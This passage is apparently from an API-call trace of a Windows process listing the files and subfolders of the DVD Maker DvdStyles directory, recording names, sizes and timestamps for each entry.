ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0056.361] GetLastError () returned 0x12 [0056.361] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0056.361] GetLastError () returned 0x12 [0056.361] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707ea2e3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707ea2e3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0056.361] GetLastError () returned 0x12 [0056.362] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70940f28, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70940f28, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84ca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask.wmv", cAlternateFileName="")) returned 1 [0056.362] GetLastError () returned 0x12 [0056.362] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 1 [0056.362] GetLastError () returned 0x12 [0056.362] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 0 [0056.362] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0056.364] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0056.365] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e91e8b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e91e8b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="scene_button_style_default_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0056.365] GetLastError () returned 0x12 [0056.365] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8d25f6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8d25f6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_buttongraphic.png", cAlternateFileName="")) returned 1 [0056.365] GetLastError () returned 0x12 [0056.365] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8f8753, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8f8753, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0056.365] GetLastError () returned 0x12 [0056.365] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8ac499, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8ac499, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_videoinset.png", cAlternateFileName="")) returned 1 [0056.365] GetLastError () returned 0x12 [0056.595] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shatter", cAlternateFileName="")) returned 1 [0056.596] GetLastError () returned 0x12 [0056.596] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10000) returned 0x3820080 [0056.596] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0056.653] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.653] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0056.654] GetLastError () returned 0x12 [0056.654] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0056.656] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0057.114] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialOccasion", cAlternateFileName="SPECIA~1")) returned 1 [0057.114] GetLastError () returned 0x12 [0057.114] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.141] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.141] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f446eef, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f446eef, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0057.141] GetLastError () returned 0x12 [0057.141] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.142] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0057.142] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0057.142] GetLastError () returned 0x12 [0057.142] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.143] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.143] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ead378, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ead378, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CircleSubpicture.png", cAlternateFileName="")) returned 1 [0057.143] GetLastError () returned 0x12 [0057.143] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.144] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0057.144] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stacking", cAlternateFileName="")) returned 1 [0057.144] GetLastError () returned 0x12 [0057.144] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.145] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.145] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x540920df, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0057.145] GetLastError () returned 0x12 [0057.145] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.146] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0057.146] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Travel", cAlternateFileName="")) returned 1 [0057.146] GetLastError () returned 0x12 [0057.146] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.147] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.147] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x701d, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0057.147] GetLastError () returned 0x12 [0057.148] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.148] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0057.148] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VideoWall", cAlternateFileName="VIDEOW~1")) returned 1 [0057.148] GetLastError () returned 0x12 [0057.149] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.149] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.149] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2a3ff0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2a3ff0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0057.149] GetLastError () returned 0x12 [0057.149] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.149] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0057.149] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vignette", cAlternateFileName="")) returned 1 [0057.149] GetLastError () returned 0x12 [0057.149] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.223] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.223] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0057.223] GetLastError () returned 0x12 [0057.223] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.223] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0057.223] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1 [0057.223] GetLastError () returned 0x12 [0057.223] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0057.224] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3810078 | out: hHeap=0xab0000) returned 1 [0057.224] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, 